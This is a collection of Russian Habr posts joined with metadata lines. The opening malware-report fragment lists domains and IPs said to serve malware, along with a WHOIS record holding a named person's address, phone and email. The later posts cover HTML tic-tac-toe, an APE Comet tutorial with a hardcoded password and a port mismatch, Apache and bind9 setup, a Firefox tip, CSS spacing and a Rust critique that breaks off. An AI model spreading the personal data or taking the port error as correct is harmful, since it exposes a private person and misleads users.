В настоящее время [4 из 44](http://www.virustotal.com/file-scan/report.html?id=d761babcb55d21b467dd698169c921995bf58eac5e9912596693fee52c8690a1-1317040603) антивирусов на VirusTotal могут обнаружить эту вредоносную программу:
Данные доменов:
**falosfax.in**`Address: 212.95.63.201
Location: Germany / Berlin
Created On:20-Jun-2011 13:17:05 UTC
Sponsoring Registrar:Transecute Solutions Pvt. Ltd. (R120-AFIN)
Registrant Name:CHRISTOPHER J KLEIN
Registrant Street1:7880 SW 132 STREET
Registrant City:MIAMI
Registrant State/Province:Florida
Registrant Postal Code:33156
Registrant Country:US
Registrant Phone:+1.3053771635
Registrant Email:cjklein54@yahoo.com
Admin ID:TS_14483505
Admin Name:CHRISTOPHER J KLEIN
Admin Organization:N/A
Admin Street1:7880 SW 132 STREET
Admin Street2:
Admin Street3:
Admin City:MIAMI
Admin State/Province:Florida
Admin Postal Code:33156
Admin Country:US
Admin Phone:+1.3053771635
Admin Phone Ext.:
Admin FAX:
Admin FAX Ext.:
Admin Email:cjklein54@yahoo.com
Tech Email:cjklein54@yahoo.com
Name Server:NS1.SKYNS1.NET
Name Server:NS2.SKYNS1.NET`
**truruhfhqnviaosdpruejeslsuy.cx.cc**
`Address: 46.16.233.108
Location: Sweden / Stockholm`
Brian Krebs в [своем блоге](http://krebsonsecurity.com/2011/09/mysql-com-sold-for-3k-serves-malware/) отметил, что недавно видел как на русском хакерском форуме продавали полный доступ к домену mysql.com и ко всем поддоменам за 3000$.
 | https://habr.com/ru/post/129221/ | null | ru | null |
# Пятничный JS: игра в 0 строк JS и CSS
Возможно, многие из старожилов помнят эпидемию статей с заголовками вида "%something% в 30 строк JS". А также последовавший за ней эпичный пост "[Игра в 0 строк кода на чистом JS](https://habr.com/post/203048/)", после которого эпидемия резко сошла на нет. Полностью осознавая, что этот шедевр мне никогда не превзойти, я всё же спустя пять лет решил докинуть свои пять копеек.
Дамы и господа, вашему вниманию предлагается игра «Крестики-нолики» в нуль строк JS, а также, в отличие от игры, упомянутой выше, в нуль строк CSS (включая инлайн стили). Только голый HTML, только хардкор.
→ [Ссылка на игру](https://siri0n.github.io/tictactoe/index.html)
Выглядит неказисто, зато будет работать в любом браузере. Под катом я расскажу, почему игра без JS оказалась в рубрике «Пятничный JS», а также другие грязные подробности. Впрочем, Америку я никому не открою, если вы опытный кодер, можете под кат даже не заходить
Собственно, всё устроено очень тупо. Игра состоит из почти 6 тысяч страниц статического HTML, ссылающихся друг на друга. При тыке на клетку игрового поля происходит переход на страницу, где ход в эту клетку уже сделан. Очевидно, писать 6к страниц руками — удовольствие ниже среднего. Поэтому (сюрприз!) страницы генерируются JS-скриптами с помощью NodeJS.
**Лирическое отступление**Написав предыдущую строчку, я вдруг задумался, не является ли выражение «JS-скрипт» тавтологией, как «CD-диск» или «VIP-персона». С одной стороны, вроде как является. С другой, JS — это всё-таки не аббревиатура, а сокращение несколько иной природы. Однако пост всё-таки не о филологии, потому лирическое отступление заканчивается и начинается лирическая атака.
Сначала мы строим так называемое дерево игры — совокупность всех возможных игровых состояний и переходов между ними. Начальное состояние игры в моём коде представлено следующим образом:
```
const initialState = {
player: PLAYER_X,
field: Array.from(Array(9)).map(() => EMPTY_CELL),
moves: {}
}
```
В нём содержится информация о том, чей сейчас ход и каково состояние игрового поля. В будущем в нём также явится информация о том, какие ходы могут быть сделаны и к каким состояниям они приведут, а также некоторые другие приятные вещи.
Дальше мы начинаем, прошу прощения за тавтологию, с начального состояния и делаем следующее:
1. Проверяем, не является ли состояние терминальным (победа крестиков, победа ноликов, ничья).
2. Если да, добавляем информацию об этом в объект состояния и заканчиваем.
3. Если нет, проходимся по всем клеткам поля.
4. Для каждой пустой клетки поля создаём новое состояние игры, в котором текущий игрок сделал ход в эту клетку, а ход перешёл к следующему игроку.
5. В поле `moves` текущего состояния добавляем запись о возможном ходе. Ключом в этой записи служит индекс клетки, а значением — ссылка на новое состояние.
6. Повторяем этот алгоритм рекурсивно для всех вновь появившихся состояний.
На самом деле мой код чуть сложнее, я по привычке развернул рекурсию в цикл, а вместо ссылок на другие состояния в `moves` хранятся их строковые ключи в некоем ассоциативном массиве. Но это всё детали.
Затем из каждого объекта игрового состояния мы генерируем HTML-страницу. Пройдясь по объекту `moves`, мы заполняем пустые клетки поля ссылками на страницы, соответствующие ходам, сделанным в эти клетки. Затем превращаем одномерный массив поля в двумерную HTML-таблицу. Добавляем всякие приятные мелочи вроде указания, который игрок ходит, и ссылки на начальную страницу — и вуаля!
Кроме режима, когда и крестики, и нолики ставятся человеком, в моём мега-инди-хите есть также возможность играть против железного мозга. Достигается это следующим образом:
1. Сначала рекурсивно (на самом деле нет) для каждого игрового состояния вычисляется ожидаемый результат игры — тот, который будет достигнут, если обе стороны будут играть идеально.
2. Затем дерево игры модифицируется следующим образом: вместо хода игрока мы теперь делаем сразу два хода. Второй ход — ход искусственного интеллекта. При этом из всех возможных ответов на ход игрока выбирается тот, у которого самый лучший ожидаемый результат. Таким образом, тыкнув на пустую клетку, игрок сразу переходит на позицию, где в этой клетке появился крестик (или нолик), а в какой-то другой появился нолик (или крестик).
3. Все игровые позиции, соответствующие ходам, которые ИИ не делает, безжалостно отбрасываются.
4. Затем из оставшихся позиций в отдельную папочку генерится HTML — абсолютно аналогично случаю двух игроков.
По сходным принципам можно реализовать любую игру с не очень большим деревом. Впрочем, если я захочу подобным образом сделать шахматы, мне кажется, гитхаб откажется это хостить =)
Кстати о гитхабе: можете посмотреть там код целиком (ссылка присутствует на заглавной странице игры). На этом, в общем-то, всё. До свидания, девочки и мальчики. До новых встреч.
**P.S.** Замена переносов строки с Windows-style на Unix-style — это очень долго, когда речь идёт о 6 тысячах файлов. Я пожалел, что не позаботился об этом на этапе написания кода, но всё-таки мужественно дотерпел до конца `git add`. | https://habr.com/ru/post/419135/ | null | ru | null |
# Создание Comet-приложения с использованием Ajax Push Engine
#### Введение
В этой статье я хочу поделиться опытом построения Web-приложения, работающего в реальном времени. Не буду углубляться в теорию, так как обзоры технологий уже были на хабре, и в сети их при желании найти не проблема. Предлагаю заняться непосредственно практикой.
#### Comet
Модель Comet позволяет создавать асинхронные Web-приложения, реагирующие на данные, которые приходят с сервера в реальном времени. В данном случае для ее реализации используется технология Long-polling на фреймворке Ajax Push Engine (APE). Суть технологии состоит в том, что браузер подключается к серверу и ждет до тех пор, пока не появятся данные. Как только они появляются, клиент их принимает и подключается снова. Если никаких данных не поступает, соединение разрывается после тайм-аута и снова устанавливается.
#### APE
APE представляет из себя программный комплекс с открытым исходным кодом, предназначенный для Ajax Push. Система включает в себя веб-сервер и Javascript Framework. APE позволяет передавать в браузер любые данные в реальном времени без каких-либо дополнительных приложений на стороне клиента. По заявлениям создателей свободно выдерживает нагрузку в 100000 соединений.
#### Установка и настройка
Установка и настройка сервера особых проблем не вызвали. Сразу хочу сказать, что в данном примере рассматривается установка на рабочем Web-сервере c CentOS 5 на борту. В зависимости от поставленных целей и платформы, реализация, разумеется будет отличаться. В случае если сервер используется для теста и работы на localhost'е, в официальной документации приведен пример быстрой настройки.
Начинается все, разумеется с установки. Тут тоже никаких проблем возникнуть не должно. На официальном сайте опубликованы различные типы пакетов, а так же исходники. Качаем и ставим.
Далее необходимо подготовить конфигурационный файл и указать APE-серверу с каким интерфейсом работать.
В разделе Server файла /etc/ape/ape.conf необходимо указать порт и интерфейс, который будет прослушиваться.
`port = 6969
ip_listen = 69.65.59.1`
Не забываем открыть порт для внешнего мира:
`# iptables -I INPUT -p tcp --dport 9696 -j ACCEPT`
И запускаем Comet-сервер:
`# /usr/bin/aped --cfg /etc/ape/ape.conf`
APE-демон запущен, но использовать по назначению его пока рано. Серверу для корректной работы необходимо выделить собственный поддомен и немного подкрутить настройки DNS.
Если вы используете cPanel или другую подобную панель это так же не составит труда.
В моем случае был создан поддомен:
`ape.matvey.co`
Затем CNAME-запись для редиректа запросов вида \*.ape.matvey.co на ape.matvey.co.
`*.ape.matvey.co IN CNAME ape.matvey.co`
Теперь сервер готов общаться с клиентами.
#### Первое приложение
После этого необходимо взять с официального сайта JavaScript Framework и распаковать его куда вам будет удобней. В файле apeClientJS.js необходимо указать параметры для соединения с сервером. В моем случае это выглядело следующим образом:
`APE.Config.baseUrl = 'http://matvey.co/apps/ape_test/jsf'; // путь к фреймворку
APE.Config.domain = 'matvey.co'; // основной домен
APE.Config.server = 'ape.matvey.co:6969'; // APE-сервер`
Как иллюстрацию я приведу небольшое приложение, написанное на Python, которое будет с помощью APE рассылать клиентам простые текстовые сообщения. Связь между Python-скриптом и демоном осуществляется через http-протокол и Inlinepush. Более подробно об этом написано в официальной документации.
Итак, сначала ставим свой пароль в конфиг Inlinepush. Можно использовать и стандартный, но это по понятным причинам не рекомендуется. Обычно он находится в '/etc/ape/inlinepush.conf'.
Затем пишем небольшой скрипт на Python’e (или на чем вам удобней), который и будет передавать ape-серверу нужные данные через 6969 порт. Обращаться для этого необходимо к localhost'у.
`import urllib2
import json
server = 'http://127.0.0.1:6969/0/?'
cmd = [{'cmd': 'inlinepush',
'params': {
'password': 'inlinepass5923',
'raw': 'DATA',
'channel': 'testchannel',
'data': {
'msg': 'Hey ya!'
}
}
}]
url = server + urllib2.quote(json.dumps(cmd))
response = urllib2.urlopen(url)
print response.read()`
После запуска должен получиться примерно такой ответ:
`# python test_ape.cgi
[{"time":"1301331051","raw":"ERR","data":{"code":"401","value":"UNKNOWN_CHANNEL"}}]`
Слово ERR в данном случае означает только то, что канал пуст и никем не используется.
Теперь попробуем сделать что-то действительно работающее.
Для начала простую страницу, которая будет принимать сообщения от сервера.
Исходник страницы-клиента:
``> "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
>
> "http://www.w3.org/1999/xhtml" xml:lang="en" dir="ltr" lang="en">
>
>
>
>
>
> "text/javaScript"</font> src=<font color="#A31515">"/apps/ape\_test/jsf/apeClientJS.js"</font>>
>
>
>
>
>
> "text/javaScript"</font>><br/>
> <font color="#0000ff">var</font> client = <font color="#0000ff">new</font> APE.Client(); <br/>
> <font color="#008000">// -- небольшая функция, которая будет генерировать случайные имена для каждого, кто входит на сайт </font><br/>
> <font color="#0000ff">function</font> randomString(length) {<br/>
> <font color="#0000ff">var</font> chars = <font color="#A31515">'0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'</font>.split(<font color="#A31515">''</font>); <br/>
> <font color="#0000ff">var</font> str = <font color="#A31515">''</font>;<br/>
> <font color="#0000ff">for</font> (<font color="#0000ff">var</font> i = 0; i < length; i++) {str += chars[Math.floor(Math.random() \* chars.length)];}<br/>
> <font color="#0000ff">return</font> str;<br/>
> }<br/>
> <font color="#008000">// -- Для вывода полученных данных</font><br/>
> <font color="#0000ff">function</font> createDiv(vartext) {<br/>
> <font color="#0000ff">var</font> \_body = <font color="#0000ff">document</font>.getElementsByTagName(<font color="#A31515">'body'</font>) [0];<br/>
> <font color="#0000ff">var</font> \_div = <font color="#0000ff">document</font>.createElement(<font color="#A31515">'div'</font>);<br/>
> <font color="#0000ff">var</font> \_text = <font color="#0000ff">document</font>.createTextNode(vartext)<br/>
> \_div.appendChild(\_text);<br/>
> \_body.appendChild(\_div);<br/>
> }<br/>
> client.load();<br/>
> client.addEvent(<font color="#A31515">'load'</font>, <font color="#0000ff">function</font>() {<br/>
> <font color="#008000">// -- Стартуем клиент, используя случайный name на 15 симвлолв. Чтобы наверняка :)</font><br/>
> client.core.start({<font color="#A31515">"name"</font>:randomString(15)});<br/>
> });<br/>
> client.addEvent(<font color="#A31515">'ready'</font>, <font color="#0000ff">function</font>() {<br/>
> createDiv(<font color="#A31515">"Connected"</font>);<br/>
> client.core.join(<font color="#A31515">'testchannel'</font>);<br/>
> client.addEvent(<font color="#A31515">'multiPipeCreate'</font>, <font color="#0000ff">function</font>(pipe, options) {<br/>
> });<br/>
> <font color="#008000">// -- Собственно обработчик. Вывод данных на экран.</font><br/>
> client.onRaw(<font color="#A31515">'data'</font>, <font color="#0000ff">function</font>(raw, pipe) {<br/>
> createDiv(<font color="#A31515">'Receiving : '</font> + unescape(raw.data.msg));<br/>
> });<br/>
> });<br/>
>
>
>
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь мы имеем APE-сервер, приложение, передающее ему данные через inlinepush и клиента, который эти сообщения принимает.
Если открыть страницу-клиент и запустить скрипт на сервере получим следующий ответ:
`[{"time":"1301340083","raw":"pushed","data":{"value":"ok"}}]`
А клиент выведет заветное:
`Receiving : Hey ya!`
Результат запуска скрипта с разными параметрами представлен на скриншоте:
Теперь добавим в скрипт бесконечный цикл, таймаут на 10 секунд и запустим в фоновом режиме:
`# python test_ape.cgi > /dev/null 2>& 1 &`
#### Заключение
Целью статьи было продемонстрировать читателю на живом примере, что Comet-модель, являясь довольно мощным инструментом не представляет собой каких-то сложностей в реализации.
Результат работы можно посмотреть [здесь](http://matvey.co/apps/ape_test/).
Каждые 10 секунд на экране должно появляться сообщение от сервера.
На этом, пожалуй, пока все. В следующей статье я думаю написать о более серьезном и действительно работающем приложении.
Буду рад, если материал окажется кому-то полезным.
#### Полезные ссылки
[Comet — обзорная статья](http://habrahabr.ru/blogs/webdev/104945/)
[Официальный сайт APE](http://www.ape-project.org/)` | https://habr.com/ru/post/116571/ | null | ru | null |
# Мультидоменность в Apache без лишних хлопот на локальном хосте
Интернет пестрит руководствами по настройке виртуальных хостов в Apache. Но, в большинстве случаев, создание такого поддомена представляется хлопотным делом.
По «стандартной» инструкции предлагается сделать следующее:
1. Создать папку для сайта
2. Создать конфигурационный файл с именем будущего домена
3. Включить сайт специальной опцией
4. Перезагрузить Apache
5. Прописать наш домен в файле hosts
Некоторые пытаются оптимизировать данный процесс различными скриптами, но проблемы это, по сути, не решает.
Итак, попробуем добиться, чтобы процесс создания поддомена сводился лишь к созданию папки для сайта. Возможно ли это? Проверим...
Как устанавливать LAMP я рассказывать не буду, так как вы, скорее всего, можете сделать это с закрытыми глазами (смайл). Перейдем к самому интересному.
#### Настройка vhost\_alias
Включаем модуль **vhost\_alias**. Он то и будет главным действующим лицом.
```
sudo a2enmod vhost_alias
```
Включаем, если нужно, **mod\_rewrite**.
```
sudo a2enmod rewrite
```
Открываем файл **httpd.conf** и приступаем к непосредственной настройке.
>
> ```
> #Подставляем имя сервера из заголовка запроса пользователя
> UseCanonicalName Off
> # Формируем логи так, чтобы в них указывалось имя виртуального хоста
> LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon
> CustomLog /home/%username%/web/access_log vcommon
>
> # Нужно для работы mod_rewrite
>
> Options FollowSymLinks
> AllowOverride All
>
>
> # Собственно правило, по которому будет искаться нужный нам сайт
> VirtualDocumentRoot /home/%username%/web/%-2
> ```
>
*%-2* означает, что по хост будет выбран по предпоследней части доменного имени. Другими словами, создав директорию */home/%username%/web/habrahabr*, мы сможем обратиться к ней как *habrahabr.ru* (или *habrahabr.com*, или даже *habrahabr.xxx*).
Можно также задать свои параметры выбора имени хоста:
* %0 Полное имя
* %1 Первая часть имени
* %2 Вторая часть имени
* %3 Третья часть имени
* %-1 Последняя часть
* %-2 Предпоследняя часть
* %2+ Вторая и все последующие части
* %-2+ Предпоследняя и все последующие части
Рестартуем Apache.
```
sudo service apache2 restart
```
Наш сервер уже работает. Убедиться в этом мы можем, создав папку с нужным именем, например *test* и поместив туда *index.php* с каким-нибудь содержимым, например "*php phpinfo(); ?*".
Ах да, нужно ведь еще прописать наш домен в файлике **/etc/hosts**.
```
127.0.0.1 test.loc
```
Все, теперь можно открывать в браузере страничку.
Стоп, мы так не договаривались! Создание сайта должно сводиться к созданию директории под него. Ну что ж, давайте сделаем…
#### Настройка DNS-сервера
Для этого мы будем использовать DNS-сервер **bind9**. Все домены с суффиксом *\*.loc* будут смотреть на нашу локальную машину.
Устанавливаем DNS-сервер
```
sudo apt-get install bind9
```
Открываем конфигурационный файл **named.conf.options** и добавляем
>
> ```
> acl "home" {192.168.1.0/24; 127.0.0.1;};
> options {
> directory "/var/cache/bind";
> auth-nxdomain no;
> listen-on-v6 { none; };
> listen-on { 127.0.0.1; };
> allow-transfer { none; };
> allow-query {"home";};
> forward first;
> # Указываем DNS-адреса провайдера
> forwarders {
> 192.168.1.2;
> 8.8.8.8;
> };
> };
> ```
>
Создаем файлы для доменной зоны.
```
cd /etc/bind/
sudo touch db.loc
```
Содержание **db.loc**
>
> ```
> $TTL 86400
> $ORIGIN loc.
> @ IN SOA skywrtr.loc. admin.skywrtr.loc. (
> 2010050100; Serial
> 14400; Refresh
> 7200; Retry
> 3600000; Expire
> 86400 ); Minimum
>
> @ IN NS localhost.
>
> * IN A 127.0.0.1
> ```
>
Наконец, открываем файл **named.conf.local** и дописываем туда
>
> ```
> zone "loc" {
> type master;
> file "/etc/bind/db.loc";
> allow-transfer { 127.0.0.1; };
> notify no;
> };
> ```
>
Остальсь подключиться к нашему DNS-серверу. Либо через файл **/etc/resolv.conf**, дописав строчку
```
nameserver 127.0.0.1
```
либо через стандартный менеджер сетевых соединений. В свойствах подключения, на вкладке «Параметры IPv4» дописать адрес 127.0.0.1 в поле «Серверы DNS».
Для удобства создадим локальный хост для phpmyadmin
>
> ```
> ln -s /usr/share/phpmyadmin/ /home/alex/web/phpmyadmin
> ```
>
Теперь он доступен по адресу **phpmyadmin.loc**.
#### Некоторые замечания
Есть пара замечаний по работе с vhost\_alias.
* Неправильные данные дает переменная **$\_SERVER['DOCUMENT\_ROOT']**, поэтому приходится использовать либо **dirname(\_\_FILE\_\_)**, либо [realpath()](http://ua2.php.net/manual/ru/function.realpath.php). Смотря что нужно.
* Если перестал работать mod\_rewrite, не паникуем. В файле **.htaccess** после строчки
```
RewriteEngine on
```
Вставляем
```
RewriteBase /
```
Ссылки по теме:
[httpd.apache.org/docs/2.0/ru/vhosts/mass.html](http://httpd.apache.org/docs/2.0/ru/vhosts/mass.html)
[www.softtime.ru/info/apache.php?id\_article=103](http://www.softtime.ru/info/apache.php?id_article=103)
P.S. Спасибо [Wott](http://habrahabr.ru/users/wott/) за любезно предоставленные конфиги bind. | https://habr.com/ru/post/129900/ | null | ru | null |
# Ускорение запуска Firefox
Как известно, человек привыкает практически ко всему, в том числе и к неудобствам. Лично меня уже давно раздражает временной интервал между кликом на ярлык Firefox и появлением Его Лисичества, но я терпел. Однако, сегодня звёзды стали так, что решение случайно попало в мои руки.
Меняя иконку ярлыка Windows Media Player, я заметил ключ **/prefetch:1** и дал себе мысленного пинка. Ведь можно было и раньше догадаться о такой вещи, как *Windows Prefetcher*.
Итак, нам всего-то понадобится:
1. Найти ярлык, с помощью которого производится запуск приложения и открыть его свойства.
2. К пути добавить ключ **/prefetch:1** (пример: `"C:\Program Files\Mozilla Firefox\firefox.exe" /prefetch:1`)
3. Нажать ОК и запустить Firefox.
Впредь он будет запускаться быстрее.
**UPD:** Всё же префетчер ненадолго успокоил меня, т.к. ~~это был эффект плацебо~~ ускорение оказалось недостаточным. Перекопошив N забугорных сайтов через Гугл, я нашёл только одно адекватное и действительно действенное решение — отключение дополнений.
К примеру, отключение *FlashGot* и *Live HTTP headers* подарило мне целую секунду драгоценного времени. Так что тем, кого беспокоит эта проблема, настоятельно рекомендую задуматься над списком аддонов и отключить хотя бы те, которые используются эпизодически.
**UPD2:** «ОС отслеживает параметр **/prefetch:#** при создании процесса, однако у него есть одна (и только одна) цель — добавить число к хешу. Зачем? WMP — это многоцелевое приложение, которое может делать множество вещей. DLLки и код, который оно использует будут отличаться при воспроизведении WMV и DVD, и если бы хеш был одинаков для всех возможных вариантов, то файл префетча был бы корректен лишь для одного из них. [...] В общем-то, любая программа может использовать этот параметр для создания различных файлов префетча под различные нужды, однако ниодно так не делает, кроме WMP». © Ryan Myers, [оригинал](http://www.edbott.com/weblog/archives/000621.html) | https://habr.com/ru/post/57284/ | null | ru | null |
# Расстановка полей и отступов в CSS
В этой статье я хотел бы рассказать, как правильно расставлять **поля** (`padding`) и **отступы** (`margin`) в CSS.
Прежде всего давайте вспомним определение полей и отступов согласно [спецификации W3C](http://www.w3.org/TR/CSS2/box.html#box-margin-area). В боксовой модели (`box model`) поля — это расстояние между контентом (`content`) и границей блока (`border`). А отступы это расстояние между границей блока и границей соседнего или родительского элемента.
Таким образом, если граница и фон элемента не заданы, то нет разницы, использовать свойство padding или margin для задания отступов, но при условии, что ширина (`width`) и высота (`height`) элемента не заданы и не изменен алгоритм расчета размеров контента с помощью [свойства box-sizing](http://www.w3.org/TR/css3-ui/#box-sizing).
В любом случае следует помнить, что поля могут быть как включены в ширину или высоту элемента, так и нет. Отступы же всегда задаются снаружи элемента.
Теперь давайте рассмотрим как правильно расставлять поля и отступы между элементами. Возьмем в качестве примера следующий блок.
Это блок новостей `news`. Он состоит из заголовка, списка новостей и ссылки «Другие новости». Дадим им следующие названия классов: `news__title`, `news__list` и `news__more-link`.
```
Новости
-------
* ...
* ...
* ...
[Другие новости](...)
```
Поскольку каждый из этих элементов имеет одинаковые отступы слева и справа, то лучше задать поля родительскому блоку, а не задавать отступы слева и справа для каждого элемента в отдельности.
```
.news {
padding: 20px 25px;
}
```
Таким образом, при необходимости изменить значение полей справа и слева это нужно будет сделать *в одном месте*. А при добавлении нового элемента внутрь блока новостей, он уже будет иметь нужные отступы слева и справа.
Часто бывает так, что все элементы внутри блока имеют одинаковые отступы слева и справа, кроме одного, который вообще не должен иметь отступов, например, из-за фона. В этом случае для элемента можно задать отрицательные отступы. Тогда не придется убирать поля внутри блока для остальных элементов.
Теперь нужно задать вертикальные отступы между элементами. Для этого следует определить какой из элементов является *обязательным*. Очевидно что блок новостей не может существовать без списка новостей, в то же время ссылки «Другие новости» может и не быть, заголовок тоже может быть убран, например, при изменении дизайна.
Учитывая это, задаем для заголовка отступ снизу, а для ссылки «Другие новости» отступ сверху.
```
.news__title {
margin-bottom: 10px;
}
.news__more-link {
margin-top: 12px;
}
```
Мы могли бы достигнуть такого же внешнего результата, добавив отступы сверху и снизу для списка новостей.
```
.news__list {
margin: 10px 0 12px 0;
}
```
Но в этом случае при убирании ссылки «Другие новости» внизу остается лишний отступ. То же самое справедливо и для заголовка. Очевидно, что первый вариант является более правильным, поскольку позволяет гибко изменять внешний вид блока.
Теперь нужно задать отступы между отдельными новостями. Опять же, нужно принять во внимание, что количество новостей может меняться, и в списке может быть только одна новость.
Можно задать для каждой новости кроме первой отступ сверху, либо для каждой новости кроме последней отступ снизу. Первый вариант более предпочтителен, поскольку псевдоселектор `:first-child` был добавлен [в спецификации CSS 2.1](http://www.w3.org/TR/CSS21/selector.html#first-child) и имеет более широкую поддержку, в отличие от псевдоселектора `:last-child`, который был добавлен только [в спецификации CSS версии 3.0](http://www.w3.org/TR/css3-selectors/#last-child-pseudo).
```
.news__list-item {
margin-top: 18px;
}
.news__list-item:first-child {
margin-top: 0;
}
```
Таким образом, правильная расстановка полей и отступов позволяет гибко менять внешний вид любого блока без внесения изменений в стили и без нарушений в дизайне. Самое главное — определить, какие элементы блока являются основными (*обязательными*), а какие *опциональными*.
Иногда мы не можем опираться на обязательные элементы. Например, у нас есть всплывающее окошко `popup`, внутри которого может выводиться какой-то заголовок и текст. Причем в каких-то случаях может не быть текста, а в каких-то и заголовка. То есть оба элемента являются опциональными.
В этом случае можно использовать следующий способ задания отступов.
```
.popup__header + .popup__text {
margin-top: 15px;
}
```
[jsfiddle.net/onfv42mz/1](https://jsfiddle.net/onfv42mz/1/)
Тогда отступ появится, только если будут использоваться оба элемента. В случае же вывода только заголовка или только текста, лишнего отступа не будет.
Схлопывание вертикальных отступов
---------------------------------
Еще один нюанс, о котором не все знают, связан с вертикальными отступами между соседними блоками. В определении отступов, которое я приводил выше, сказано, что отступ — это расстояние между **границами** текущего и соседнего блока. Таким образом, если мы расположим два блока друг под другом и зададим одному из них отступ снизу в `30px`, а другому отступ сверху в `20px`, отступ между ними будет не `50px`, а `30px`.
```
.block1 {
margin-bottom: 30px;
}
.block2 {
margin-top: 20px;
}
```
[jsfiddle.net/j99btnc8](https://jsfiddle.net/j99btnc8/)
То есть произойдет наложение отступов, и отступ между блоками будет равен наибольшему отступу, а не сумме отступов. Этот эффект также называют «схлопыванием».
Прошу заметить, что горизонтальные отступы, в отличие от вертикальных, не «схлопываются», а суммируются. Поля (`padding`) также суммируются.
Зная о «схлопывании» отступов, мы можем использовать эту особенность в свою пользу. Например, если нам необходимо расставить отступы для заголовков и текста внутри статьи, то для заголовка первого уровня зададим отступ снизу в `20px`, а для заголовка второго уровня отступ сверху `20px` и снизу `10px`, а для всех параграфов зададим отступ сверху `10px`.
```
h1 {
margin-bottom: 24px;
}
h2 {
margin-top: 24px;
margin-bottom: 12px;
}
p {
margin-top: 12px;
}
```
[jsfiddle.net/n27fms7s/1](https://jsfiddle.net/n27fms7s/1/)
Теперь заголовок `h2` можно расположить как после заголовка `h1`, так и после параграфа. В любом случае отступ сверху не будет превышать `24px`.
Общие правила
-------------
Подводя итог, я бы хотел перечислить правила, которых я придерживаюсь при расстановке полей и отступов.
1. Если соседние элементы имеют одинаковые отступы, то лучше задавать их родительскому контейнеру, а не элементам.
2. При задании отступов между элементами, следует учитывать, обязательный это элемент или опциональный.
3. Для списка однотипных элементов — не забывать о том, что число элементов может варьироваться.
4. Помнить о наложении вертикальных отступов и использовать эту особенность там, где она принесет пользу. | https://habr.com/ru/post/281008/ | null | ru | null |
# Почему я отказался от Rust
Когда я узнал, что появился новый язык программирования системного уровня, с производительностью как у С++ и без сборщика мусора, я сразу заинтересовался. Мне нравится решать задачи с помощью языков со сборщиками мусора, вроде C# или JavaScript, но меня постоянно терзала мысль о сырой и грубой мощи С++. Но в С++ так много способов выстрелить себе в ногу и других хорошо известных проблем, что я обычно не решался.
Так что я влез в Rust. И, блин, влез глубоко.
Язык Rust все еще довольно молод, поэтому его экосистема пока находится в стадии начального развития. В некоторых случаях, например, в случае с [вебсокетами](https://github.com/cyderize/rust-websocket) или [сериализацией](https://github.com/serde-rs/json) есть хорошие и популярных решения. В других областях у Rust не все так хорошо. Одна из таких областей это OpenGL GUI, вроде [CEGUI](http://cegui.org.uk/) или [nanogui](https://github.com/wjakob/nanogui). Я хотел помочь сообществу и языку, поэтому взялся за портирования nanogui на Rust, с кодом на чистом Rust, без связок с С/C++. Проект можно [найти тут](https://github.com/Oipo/nanogui-rust-sdl).
Обычно, знакомство с Rust начинается с борьбы с идеей borrow-checker. Как и у других программистов, у меня тоже был период, когда я не мог понять, как решить ту или иную проблему. К счастью, есть классное сообщество в [#rust-beginners](https://client00.chat.mibbit.com/?server=irc.mozilla.org&channel=%23rust-beginners). Его обитатели помогали мне и отвечали на мои дурацкие вопросы. Мне понадобилось несколько недель на то, чтобы почувствовать себя более-менее комфортно в Rust.
Но я не подозревал, что когда сталкиваешься с проблемой, поиск решения похож на ориентацию в джунглях. Часто находится несколько ответов, которые *похожи* на решение твоей проблемы, но не подходят из-за крохотной детали.
Вот пример: представьте, что у вас есть базовый класс Widget, и вы хотите, чтобы у самих виджетов (Label, Button, Checkbox) были некоторые общие, легкодоступные функции. В языках вроде C++ или C# это легко. Нужно сделать абстрактный класс или базовый класс, в зависимости от языка, и наследовать свои классы от него.
```
public abstract class Widget {
private Theme _theme { get; set; }
private int _fontSize { get; set; }
public int GetFontSize() {
return (_fontSize < 0) ? _theme.GetStandardFontSize() : _fontSize;
}
}
```
В Rust для этого нужно использовать [типажи (traits)](https://doc.rust-lang.org/book/traits.html). Однако, типаж ничего не знает о внутренней реализации. Типаж может определить абстрактную функцию, но у него нет доступа к внутренним полям.
```
trait Widget {
fn font_size(&self) -> i32 {
if self.font_size < 0 { //compiler error
return self.theme.get_standard_font_size(); //compiler error
} else {
return self.font_size; //compiler error
}
}
}
```
» [Запустить в интерактивной песочнице](https://play.rust-lang.org/?gist=e3d55a448df62f9d5172a76c5ecdc425&version=nightly&backtrace=0)
Подумайте об этом. Моя первая реакция была "Эм, что?!". Конечно, существует справедливая критика ООП, но такое решение — это просто смешно.
К счастью, оказалось, что язык изменяется и улучшается с помощью Requests For Change, и этот процесс хорошо налажен. Я не единственный, кто считает, что такая реализация сильно ограничивает язык, и сейчас [есть открытый RFC](https://github.com/rust-lang/rfcs/pull/1546), призванный улучшить эту глупость. Но процесс идет с марта 2016. Концепция типажей уже много лет существует во многих языках. Сейчас — сентябрь 2016. Почему такая важная и необходимая часть языка все еще в плачевном состоянии?
В некоторых случаях можно обойти это ограничение, добавив функцию в типаж, которая реализована не в типаже, а в самом объекте, а потом использовать ее для обращения к реальной функции.
```
trait Widget {
fn get_theme(&self) -> Theme;
fn get_internal_font_size(&self) -> i32;
fn get_actual_font_size(&self) -> i32 {
if self.get_internal_font_size() < 0 {
return self.get_theme().get_standard_font_size();
} else {
return self.get_internal_font_size();
}
}
}
```
» [Запустить в интерактивной песочнице](https://play.rust-lang.org/?gist=f66f06effd0afa7352e21a25115d892e&version=nightly&backtrace=0)
Но теперь у вас есть публичная функция (функции типажа ведут себя как интерфейс, и сейчас нет возможности отметить функцию типажа как mod-only), которую **все еще** нужно реализовать во всех конкретных типах. Так что вы или не используете абстрактные функции и дублируете кучу кода, или используете подход выше и дублируете немного меньше, но все еще слишком много кода **И** получаете дырявый API. Оба исхода неприемлемы. И такого нет ни в одном из устоявшихся языков как C++, C# и, блин, даже в [в Go есть нормальное решение](https://github.com/luciotato/golang-notes/blob/master/OOP.md).
Другой пример. В nanogui (в CEGUI такая концепция тоже используется) каждый виджет имеет указатель на родителя и вектор указателей на своих потомков. Как это реализуется в Rust? Есть несколько ответов:
1. Использовать реализацию `Vec`
2. Использовать `Vec<*mut T>`
3. Использовать `Vec>>`
4. Использовать C bindings
